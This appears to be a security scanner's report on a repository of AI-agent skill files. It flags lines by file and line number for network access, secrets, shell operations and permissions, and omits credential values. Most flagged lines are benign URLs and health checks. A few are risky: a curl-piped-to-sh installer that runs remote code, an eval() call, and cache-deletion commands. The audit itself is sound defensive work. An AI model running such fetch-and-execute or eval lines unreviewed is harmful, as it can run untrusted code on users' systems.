name: hugging-face-cli description: "Execute Hugging Face Hub operations using the `hf` CLI. Use when the user needs to download models/datasets/spaces, upload files to Hub repositories, create repos, manage local cache, or run comput..." s - Network accessline 3
description: "Execute Hugging Face Hub operations using the `hf` CLI. Use when the user needs to download models/datasets/spaces, upload files to Hub repositories, create repos, manage local cache, or run comput..." source: "https://github. - Network accessline 4
source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-cli" - Dangerous shell operationline 34
| Remove from cache | `hf cache rm <repo_or_revision>` | - Access to secretsline 50
[Credential-related source omitted] - Dangerous shell operationline 104
hf cache rm model/gpt2 # Remove cached repo - Dangerous shell operationline 105
hf cache rm <revision_hash> # Remove cached revision - Dangerous shell operationline 185
hf cache rm model/gpt2 # Remove a repo from cache
skills/hugging-face-jobs/SKILL.md
- Network accessline 3
description: "This skill should be used when users want to run any workload on Hugging Face Jobs infrastructure. Covers UV scripts, Docker-based jobs, hardware selection, cost estimation, authentication with tok..." license: "Complete terms - Network accessline 4
license: "Complete terms in LICENSE.txt" source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-jobs" risk: safe - Network accessline 5
source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-jobs" - Network accessline 53
### ✅ **Account & Authentication** - Hugging Face Account with [Pro](https://hf.co/pro), [Team](https://hf.co/enterprise), or [Enterprise](https://hf.co/enterprise) plan (Jobs require paid plan) - Network accessline 54
- Hugging Face Account with [Pro](https://hf.co/pro), [Team](https://hf.co/enterprise), or [Enterprise](https://hf.co/enterprise) plan (Jobs require paid plan) - Authenticated login: Check with `hf_whoami()` - **HF_TOKEN for Hub Access** ⚠<U+FE0F> - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 208
[Credential-related source omitted] - Network accessline 212
- **Cause:** Token lacks required permissions - **Fix:** Ensure token has write permissions for push operations - **Check:** Token type at https://huggingface.co/settings/tokens - Network accessline 214
- **Check:** Token type at https://huggingface.co/settings/tokens - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 250
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted] - Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Network accessline 369
# ✅ URL: host the script somewhere reachable hf_jobs("uv", {"script": "https://huggingface.co/datasets/uv-scripts/.../raw/main/foo.py"}) - Network accessline 370
hf_jobs("uv", {"script": "https://huggingface.co/datasets/uv-scripts/.../raw/main/foo.py"}) - Network accessline 372
# ✅ URL from GitHub hf_jobs("uv", {"script": "https://raw.githubusercontent.com/huggingface/trl/main/trl/scripts/sft.py"}) - Network accessline 373
hf_jobs("uv", {"script": "https://raw.githubusercontent.com/huggingface/trl/main/trl/scripts/sft.py"}) - Network accessline 470
> **Reference:** [HF Jobs Hardware Docs](https://huggingface.co/docs/hub/en/spaces-config-reference) (updated 07/2025) - Access to secretsline 507
[Credential-related source omitted] - Access to secretsline 510
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted] - Network accessline 533
# POST results to your API import requests requests.post("https://your-api.com/results", json=results) - Network accessline 535
requests.post("https://your-api.com/results", json=results) - Access to secretsline 543
[Credential-related source omitted] - Access to secretsline 553
[Credential-related source omitted] - Access to secretsline 563
[Credential-related source omitted] - Network accessline 696
https://huggingface.co/jobs/username/job-id - Access to secretsline 847
[Credential-related source omitted] - Network accessline 851
See [Webhooks Documentation](https://huggingface.co/docs/huggingface_hub/guides/webhooks) for more details. - Access to secretsline 880
[Credential-related source omitted] - Access to secretsline 905
[Credential-related source omitted] - Access to secretsline 929
[Credential-related source omitted] - Access to secretsline 953
[Credential-related source omitted] - Access to secretsline 954
[Credential-related source omitted] - Access to secretsline 972
[Credential-related source omitted] - Network accessline 1002
**Official Documentation:** - [HF Jobs Guide](https://huggingface.co/docs/huggingface_hub/guides/jobs) - Main documentation - Network accessline 1003
- [HF Jobs Guide](https://huggingface.co/docs/huggingface_hub/guides/jobs) - Main documentation - Network accessline 1004
- [HF Jobs CLI Reference](https://huggingface.co/docs/huggingface_hub/guides/cli#hf-jobs) - Command line interface - Network accessline 1005
- [HF Jobs API Reference](https://huggingface.co/docs/huggingface_hub/package_reference/hf_api) - Python API details - Network accessline 1006
- [Hardware Flavors Reference](https://huggingface.co/docs/hub/en/spaces-config-reference) - Available hardware - Network accessline 1008
**Related Tools:** - [UV Scripts Guide](https://docs.astral.sh/uv/guides/scripts/) - PEP 723 inline dependencies - Network accessline 1009
- [UV Scripts Guide](https://docs.astral.sh/uv/guides/scripts/) - PEP 723 inline dependencies - Network accessline 1010
- [UV Scripts Organization](https://huggingface.co/uv-scripts) - Community UV script collection - Network accessline 1011
- [HF Hub Authentication](https://huggingface.co/docs/huggingface_hub/quick-start#authentication) - Token setup - Network accessline 1012
- [Webhooks Documentation](https://huggingface.co/docs/huggingface_hub/guides/webhooks) - Event triggers - Access to secretsline 1020
[Credential-related source omitted]
skills/hybrid-search-implementation/resources/implementation-playbook.md
- Network accessline 172
results = await conn.fetch(f""" - Network accessline 565
- [RRF Paper](https://plg.uwaterloo.ca/~gvcormac/cormacksigir09-rrf.pdf) - Network accessline 566
- [Vespa Hybrid Search](https://blog.vespa.ai/improving-text-ranking-with-few-shot-prompting/) - Network accessline 567
- [Cohere Rerank](https://docs.cohere.com/docs/reranking)
skills/i18n-localization/scripts/i18n_checker.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/imagen/SKILL.md
- Network accessline 2
name: imagen description: "|" source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen" - Network accessline 3
description: "|" source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen" risk: safe - Network accessline 4
source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen" - Access to secretsline 50
[Credential-related source omitted]
skills/incident-runbook-templates/SKILL.md
- Network accessline 83
### Dashboards - [Payment Service Dashboard](https://grafana/d/payments) - Network accessline 84
- [Payment Service Dashboard](https://grafana/d/payments) - Network accessline 85
- [Error Tracking](https://sentry.io/payments) - Network accessline 86
- [Dependency Status](https://status.stripe.com) - Network accessline 98
# Check error rates curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" - Network accessline 99
curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" - Network accessline 102
### 2. Quick Health Checks - [ ] Can you reach the service? `curl -I https://api.company.com/payments/health` - Network accessline 103
- [ ] Can you reach the service? `curl -I https://api.company.com/payments/health` - Network accessline 141
# Step 1: Check database connections kubectl exec -n payments deploy/payment-service -- \ curl localhost:8080/metrics | grep db_pool - Network accessline 142
kubectl exec -n payments deploy/payment-service -- curl localhost:8080/metrics | grep db_pool - Network accessline 143
curl localhost:8080/metrics | grep db_pool - Network accessline 155
# Step 4: Check external dependency latency curl -w "@curl-format.txt" -o /dev/null -s https://api.stripe.com/v1/health - Network accessline 156
curl -w "@curl-format.txt" -o /dev/null -s https://api.stripe.com/v1/health - Network accessline 169
# Step 2: Check error tracking # Go to Sentry: https://sentry.io/payments - Network accessline 170
# Go to Sentry: https://sentry.io/payments - Network accessline 172
# Step 3: If specific endpoint, enable feature flag to disable curl -X POST https://api.company.com/internal/feature-flags \ - Network accessline 173
curl -X POST https://api.company.com/internal/feature-flags \ - Network accessline 218
# Verify service is healthy curl -s https://api.company.com/payments/health | jq - Network accessline 219
curl -s https://api.company.com/payments/health | jq - Network accessline 221
# Verify error rate is back to normal curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" | jq '.data.result[0].value[1]' - Network accessline 222
curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" | jq '.data.result[0].value[1]' - Network accessline 224
# Verify latency is acceptable curl -s "http://prometheus:9090/api/v1/query?query=histogram_quantile(0.99,sum(rate(http_request_duration_seconds_bucket[5m]))by(le))" | jq - Network accessline 225
curl -s "http://prometheus:9090/api/v1/query?query=histogram_quantile(0.99,sum(rate(http_request_duration_seconds_bucket[5m]))by(le))" | jq - Network accessline 239
# Rollback feature flag curl -X POST https://api.company.com/internal/feature-flags \ - Network accessline 240
curl -X POST https://api.company.com/internal/feature-flags \ - Network accessline 395
- [Google SRE Book - Incident Management](https://sre.google/sre-book/managing-incidents/) - Network accessline 396
- [PagerDuty Incident Response](https://response.pagerduty.com/) - Network accessline 397
- [Atlassian Incident Management](https://www.atlassian.com/incident-management)
skills/infinite-gratitude/SKILL.md
- Network accessline 3
description: "Multi-agent research skill for parallel research execution (10 agents, battle-tested with real case studies)." risk: safe source: https://github.com/sstklen/infinite-gratitude - Network accessline 4
risk: safe source: https://github.com/sstklen/infinite-gratitude --- - Network accessline 5
source: https://github.com/sstklen/infinite-gratitude - Network accessline 10
> **Source**: [sstklen/infinite-gratitude](https://github.com/sstklen/infinite-gratitude) - Network accessline 22
This is an external skill. Please refer to the [official repository](https://github.com/sstklen/infinite-gratitude) for installation and usage instructions. - Network accessline 25
git clone https://github.com/sstklen/infinite-gratitude
skills/instagram-automation/SKILL.md
- Network accessline 23
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/intercom-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/internal-comms-anthropic/LICENSE.txt
skills/internal-comms-community/LICENSE.txt
skills/ios-developer/SKILL.md
skills/istio-traffic-management/SKILL.md
- Network accessline 337
- [Istio Traffic Management](https://istio.io/latest/docs/concepts/traffic-management/) - Network accessline 338
- [Virtual Service Reference](https://istio.io/latest/docs/reference/config/networking/virtual-service/) - Network accessline 339
- [Destination Rule Reference](https://istio.io/latest/docs/reference/config/networking/destination-rule/)
skills/iterate-pr/SKILL.md
- Network accessline 2
name: iterate-pr description: "Iterate on a PR until CI passes. Use when you need to fix CI failures, address review feedback, or continuously push fixes until all checks are green. Automates the feedback-fix-push-wait cycle." source: "http - Network accessline 3
description: "Iterate on a PR until CI passes. Use when you need to fix CI failures, address review feedback, or continuously push fixes until all checks are green. Automates the feedback-fix-push-wait cycle." source: "https://github.com/ge - Network accessline 4
source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/iterate-pr"
skills/javascript-mastery/SKILL.md
- Network accessline 10
> 33+ essential JavaScript concepts every developer should know, inspired by [33-js-concepts](https://github.com/leonardomso/33-js-concepts). - Network accessline 350
async function fetchUserData(userId) { try { const response = await fetch(`/api/users/${userId}`); - Network accessline 351
try { const response = await fetch(`/api/users/${userId}`); if (!response.ok) throw new Error("Failed to fetch"); - Network accessline 352
const response = await fetch(`/api/users/${userId}`); - Network accessline 363
async function fetchAll() { const [users, posts] = await Promise.all([ fetch("/api/users"), - Network accessline 364
const [users, posts] = await Promise.all([ fetch("/api/users"), fetch("/api/posts"), - Network accessline 365
fetch("/api/users"), - Network accessline 366
fetch("/api/posts"), - Network accessline 644
- [33 JS Concepts](https://github.com/leonardomso/33-js-concepts) - Network accessline 645
- [JavaScript.info](https://javascript.info/) - Network accessline 646
- [MDN JavaScript Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide) - Network accessline 647
- [You Don't Know JS](https://github.com/getify/You-Dont-Know-JS)
skills/javascript-testing-patterns/resources/implementation-playbook.md
- Network accessline 212
export class ApiService { async fetchUser(id: string): Promise<User> { const response = await fetch(`https://api.example.com/users/${id}`); - Network accessline 213
async fetchUser(id: string): Promise<User> { const response = await fetch(`https://api.example.com/users/${id}`); if (!response.ok) { - Network accessline 214
const response = await fetch(`https://api.example.com/users/${id}`); - Network accessline 221
async createUser(user: CreateUserDTO): Promise<User> { const response = await fetch('https://api.example.com/users', { - Network accessline 222
const response = await fetch('https://api.example.com/users', { - Network accessline 257
expect(user).toEqual(mockUser); expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1'); - Network accessline 258
expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1'); - Network accessline 282
expect(user).toEqual(createdUser); expect(fetch).toHaveBeenCalledWith( 'https://api.example.com/users', - Network accessline 283
expect(fetch).toHaveBeenCalledWith( 'https://api.example.com/users', expect.objectContaining({ - Network accessline 284
'https://api.example.com/users', - Network accessline 916
name: 'John Doe', email: 'john@example.com', avatar: 'https://example.com/avatar.jpg', - Network accessline 917
email: 'john@example.com', avatar: 'https://example.com/avatar.jpg', }; - Network accessline 918
avatar: 'https://example.com/avatar.jpg', - Network accessline 1021
- **Jest Documentation**: https://jestjs.io/ - Network accessline 1022
- **Vitest Documentation**: https://vitest.dev/ - Network accessline 1023
- **Testing Library**: https://testing-library.com/ - Network accessline 1024
- **Kent C. Dodds Testing Blog**: https://kentcdodds.com/blog/
skills/javascript-typescript-typescript-scaffold/SKILL.md
- Access to secretsline 55
[Credential-related source omitted]
skills/jira-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/k8s-manifest-generator/assets/configmap-template.yaml
- Network accessline 99
location / { proxy_pass http://backend:8080; - Network accessline 100
proxy_pass http://backend:8080; - Network accessline 188
# Wait for database until nc -z $DATABASE_HOST $DATABASE_PORT; do - Network accessline 189
until nc -z $DATABASE_HOST $DATABASE_PORT; do - Network accessline 208
# Check application health endpoint response=$(curl -sf http://localhost:8080/health) - Network accessline 209
response=$(curl -sf http://localhost:8080/health)
skills/k8s-manifest-generator/references/deployment-spec.md
- Network accessline 72
- name: init-db image: busybox:1.36 command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done'] - Network accessline 73
image: busybox:1.36 command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done'] securityContext: - Network accessline 74
command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done'] - Network accessline 648
- -c - | until nc -z database-service 5432; do - Network accessline 649
- | until nc -z database-service 5432; do echo "Waiting for database..." - Network accessline 650
until nc -z database-service 5432; do - Network accessline 751
- [Kubernetes Deployment API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#deployment-v1-apps) - Network accessline 752
- [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) - Network accessline 753
- [Resource Management](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)
skills/k8s-manifest-generator/references/service-spec.md
- Network accessline 358
curl http://backend-service.production.svc.cluster.local - Network accessline 363
curl http://backend-service - Network accessline 722
- [Kubernetes Service API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#service-v1-core) - Network accessline 723
- [Service Networking](https://kubernetes.io/docs/concepts/services-networking/service/) - Network accessline 724
- [DNS for Services and Pods](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/)
skills/k8s-manifest-generator/resources/implementation-playbook.md
- Access to secretsline 207
[Credential-related source omitted]
skills/kaizen/SKILL.md
- Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 306
[Credential-related source omitted] - Network accessline 372
class UserAPIClient { async getUser(id: string): Promise<User> { return this.fetch(`/users/${id}`); - Network accessline 373
async getUser(id: string): Promise<User> { return this.fetch(`/users/${id}`); } - Network accessline 374
return this.fetch(`/users/${id}`); - Network accessline 379
class OrderAPIClient { async getOrder(id: string): Promise<Order> { return this.fetch(`/orders/${id}`); - Network accessline 380
async getOrder(id: string): Promise<Order> { return this.fetch(`/orders/${id}`); } - Network accessline 381
return this.fetch(`/orders/${id}`); - Network accessline 446
* @example * const result = await retry( * () => fetch('https://api.example.com/data'), - Network accessline 447
* const result = await retry( * () => fetch('https://api.example.com/data'), * { maxAttempts: 3, baseDelay: 1000 } - Network accessline 448
* () => fetch('https://api.example.com/data'),
skills/klaviyo-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/kpi-dashboard-design/SKILL.md
- Network accessline 440
- [Stephen Few's Dashboard Design](https://www.perceptualedge.com/articles/visual_business_intelligence/rules_for_using_color.pdf) - Network accessline 441
- [Edward Tufte's Principles](https://www.edwardtufte.com/tufte/) - Network accessline 442
- [Google Data Studio Gallery](https://datastudio.google.com/gallery)
skills/langfuse/SKILL.md
- Network accessline 46
public_key="pk-...", secret_key="sk-...", host="https://cloud.langfuse.com" # or self-hosted URL - Network accessline 47
secret_key="sk-...", host="https://cloud.langfuse.com" # or self-hosted URL ) - Network accessline 48
host="https://cloud.langfuse.com" # or self-hosted URL - Network accessline 156
public_key="pk-...", secret_key="sk-...", host="https://cloud.langfuse.com", - Network accessline 157
secret_key="sk-...", host="https://cloud.langfuse.com", session_id="session-123", - Network accessline 158
host="https://cloud.langfuse.com",
skills/langgraph/SKILL.md
- Dangerous shell operationline 67
return str(eval(expression))
skills/laravel-security-audit/SKILL.md
skills/last30days/README.md
- Network accessline 12
# Clone the repo git clone https://github.com/mvanhorn/last30days-skill.git ~/.claude/skills/last30days - Network accessline 13
git clone https://github.com/mvanhorn/last30days-skill.git ~/.claude/skills/last30days - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 171
# Clone and setup git clone https://github.com/clawdbot/clawdbot.git - Network accessline 172
git clone https://github.com/clawdbot/clawdbot.git - Access to secretsline 183
[Credential-related source omitted]
skills/last30days/SKILL.md
- Broad permissionsline 1
Bash, Read, Write, AskUserQuestion, WebSearch - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 284
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted]
skills/last30days/fixtures/openai_sample.json
- Network accessline 10
{ "type": "output_text", "text": "{\n \"items\": [\n {\n \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices - Network accessline 11
"type": "output_text", "text": "{\n \"items\": [\n {\n \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices_for_claude_ - Network accessline 12
"text": "{\n \"items\": [\n {\n \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices_for_claude_code_skills\",\n \"subreddit
skills/last30days/fixtures/reddit_thread_sample.json
- Access to secretsline 81
[Credential-related source omitted]
skills/last30days/fixtures/xai_sample.json
- Network accessline 10
{ "type": "output_text", "text": "{\n \"items\": [\n {\n \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operat - Network accessline 11
"type": "output_text", "text": "{\n \"items\": [\n {\n \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operations.\",\n - Network accessline 12
"text": "{\n \"items\": [\n {\n \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operations.\",\n \"url\": \"https://x.com/devu
skills/last30days/plans/feat-add-websearch-source.md
- Network accessline 107
{{ "title": "Page title", "url": "https://...", - Network accessline 108
"title": "Page title", "url": "https://...", "source_domain": "example.com", - Network accessline 109
"url": "https://...", - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 265
[Credential-related source omitted] - Network accessline 387
### External References - Claude WebSearch docs: https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool - Network accessline 388
- Claude WebSearch docs: https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool
skills/last30days/scripts/last30days.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 320
[Credential-related source omitted] - Access to secretsline 384
[Credential-related source omitted] - Access to secretsline 385
[Credential-related source omitted]
skills/last30days/scripts/lib/__init__.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/cache.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/dates.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/dedupe.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/env.py
- Executable scriptline 1
Executable file - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted]
skills/last30days/scripts/lib/http.py
- Executable scriptline 1
Executable file - Access to secretsline 13
[Credential-related source omitted] - Network accessline 66
req = urllib.request.Request(url, data=data, headers=headers, method=method) - Network accessline 73
for attempt in range(retries): try: with urllib.request.urlopen(req, timeout=timeout) as response: - Network accessline 74
try: with urllib.request.urlopen(req, timeout=timeout) as response: body = response.read().decode('utf-8') - Network accessline 75
with urllib.request.urlopen(req, timeout=timeout) as response: - Network accessline 145
url = f"https://www.reddit.com{path}?raw_json=1"
skills/last30days/scripts/lib/models.py
- Executable scriptline 1
Executable file - Network accessline 9
OPENAI_MODELS_URL = "https://api.openai.com/v1/models" - Network accessline 13
XAI_MODELS_URL = "https://api.x.ai/v1/models" - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
skills/last30days/scripts/lib/normalize.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/openai_reddit.py
- Executable scriptline 1
Executable file - Network accessline 16
OPENAI_RESPONSES_URL = "https://api.openai.com/v1/responses" - Network accessline 57
{{ "title": "Thread title", "url": "https://www.reddit.com/r/sub/comments/xyz/title/", - Network accessline 58
"title": "Thread title", "url": "https://www.reddit.com/r/sub/comments/xyz/title/", "subreddit": "subreddit_name", - Network accessline 59
"url": "https://www.reddit.com/r/sub/comments/xyz/title/", - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted]
skills/last30days/scripts/lib/reddit_enrich.py
- Executable scriptline 1
Executable file - Network accessline 218
for c in top_comments: permalink = c.get("permalink", "") comment_url = f"https://reddit.com{permalink}" if permalink else "" - Network accessline 219
permalink = c.get("permalink", "") comment_url = f"https://reddit.com{permalink}" if permalink else "" item["top_comments"].append({ - Network accessline 220
comment_url = f"https://reddit.com{permalink}" if permalink else ""
skills/last30days/scripts/lib/render.py
skills/last30days/scripts/lib/schema.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/score.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/ui.py
- Executable scriptline 1
Executable file - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted]
skills/last30days/scripts/lib/websearch.py
- Executable scriptline 1
Executable file
skills/last30days/scripts/lib/xai_x.py
- Executable scriptline 1
Executable file - Network accessline 17
XAI_RESPONSES_URL = "https://api.x.ai/v1/responses" - Network accessline 33
{{ "text": "Post text content (truncated if long)", "url": "https://x.com/user/status/...", - Network accessline 34
"text": "Post text content (truncated if long)", "url": "https://x.com/user/status/...", "author_handle": "username", - Network accessline 35
"url": "https://x.com/user/status/...", - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted]
skills/last30days/tests/__init__.py
- Executable scriptline 1
Executable file
skills/last30days/tests/test_cache.py
- Executable scriptline 1
Executable file
skills/last30days/tests/test_dates.py
- Executable scriptline 1
Executable file
skills/last30days/tests/test_dedupe.py
- Executable scriptline 1
Executable file
skills/last30days/tests/test_models.py
skills/last30days/tests/test_normalize.py
- Executable scriptline 1
Executable file - Network accessline 17
"id": "R1", "title": "Test Thread", "url": "https://reddit.com/r/test/1", - Network accessline 18
"title": "Test Thread", "url": "https://reddit.com/r/test/1", "subreddit": "test", - Network accessline 19
"url": "https://reddit.com/r/test/1", - Network accessline 38
"id": "R1", "title": "Old Thread", "url": "https://reddit.com/r/test/1", - Network accessline 39
"title": "Old Thread", "url": "https://reddit.com/r/test/1", "subreddit": "test", - Network accessline 40
"url": "https://reddit.com/r/test/1", - Network accessline 54
"id": "R1", "title": "Thread with engagement", "url": "https://reddit.com/r/test/1", - Network accessline 55
"title": "Thread with engagement", "url": "https://reddit.com/r/test/1", "subreddit": "test", - Network accessline 56
"url": "https://reddit.com/r/test/1", - Network accessline 78
"id": "X1", "text": "Test post content", "url": "https://x.com/user/status/123", - Network accessline 79
"text": "Test post content", "url": "https://x.com/user/status/123", "author_handle": "testuser", - Network accessline 80
"url": "https://x.com/user/status/123", - Network accessline 98
"id": "X1", "text": "Post with engagement", "url": "https://x.com/user/status/123", - Network accessline 99
"text": "Post with engagement", "url": "https://x.com/user/status/123", "author_handle": "user", - Network accessline 100
"url": "https://x.com/user/status/123", - Network accessline 123
id="R1", title="Test", url="https://reddit.com/r/test/1", - Network accessline 124
title="Test", url="https://reddit.com/r/test/1", subreddit="test", - Network accessline 125
url="https://reddit.com/r/test/1",
skills/last30days/tests/test_render.py
skills/last30days/tests/test_score.py
- Executable scriptline 1
Executable file - Network accessline 85
id="R1", title="Test", url="https://reddit.com/r/test/1", - Network accessline 86
title="Test", url="https://reddit.com/r/test/1", subreddit="test", - Network accessline 87
url="https://reddit.com/r/test/1", - Network accessline 95
id="R2", title="Test 2", url="https://reddit.com/r/test/2", - Network accessline 96
title="Test 2", url="https://reddit.com/r/test/2", subreddit="test", - Network accessline 97
url="https://reddit.com/r/test/2", - Network accessline 124
id="X1", text="Test post", url="https://x.com/user/1", - Network accessline 125
text="Test post", url="https://x.com/user/1", author_handle="user1", - Network accessline 126
url="https://x.com/user/1",
skills/linear-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/linear-claude-skill/SKILL.md
- Network accessline 4
allowed-tools: - WebFetch(domain: linear.app) source: "https://github.com/wrsmith108/linear-claude-skill" - Network accessline 5
- WebFetch(domain: linear.app) source: "https://github.com/wrsmith108/linear-claude-skill" risk: safe - Network accessline 6
source: "https://github.com/wrsmith108/linear-claude-skill" - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 130
1. Open [Linear](https://linear.app) in your browser - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Network accessline 354
"linear": { "command": "npx", "args": ["mcp-remote", "https://mcp.linear.app/sse"], - Network accessline 355
[Credential-related source omitted] - Network accessline 356
"args": ["mcp-remote", "https://mcp.linear.app/sse"], - Access to secretsline 357
[Credential-related source omitted] - Network accessline 543
**External:** [Linear MCP Documentation](https://linear.app/docs/mcp.md)
skills/linkedin-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/linkerd-patterns/SKILL.md
- Network accessline 71
# Install CLI curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh - Dangerous shell operationline 72
curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh - Network accessline 72
curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh - Network accessline 257
# Link clusters linkerd multicluster link --cluster-name west \ --api-server-address https://west.example.com:6443 \ - Network accessline 258
linkerd multicluster link --cluster-name west --api-server-address https://west.example.com:6443 - Network accessline 259
--api-server-address https://west.example.com:6443 \ - Network accessline 321
- [Linkerd Documentation](https://linkerd.io/2.14/overview/) - Network accessline 322
- [Service Profiles](https://linkerd.io/2.14/features/service-profiles/) - Network accessline 323
- [Authorization Policy](https://linkerd.io/2.14/features/server-policy/)
skills/lint-and-validate/SKILL.md
- Broad permissionsline 1
Read, Glob, Grep, Bash
skills/lint-and-validate/scripts/lint_runner.py
- Executable scriptline 1
#!/usr/bin/env python3
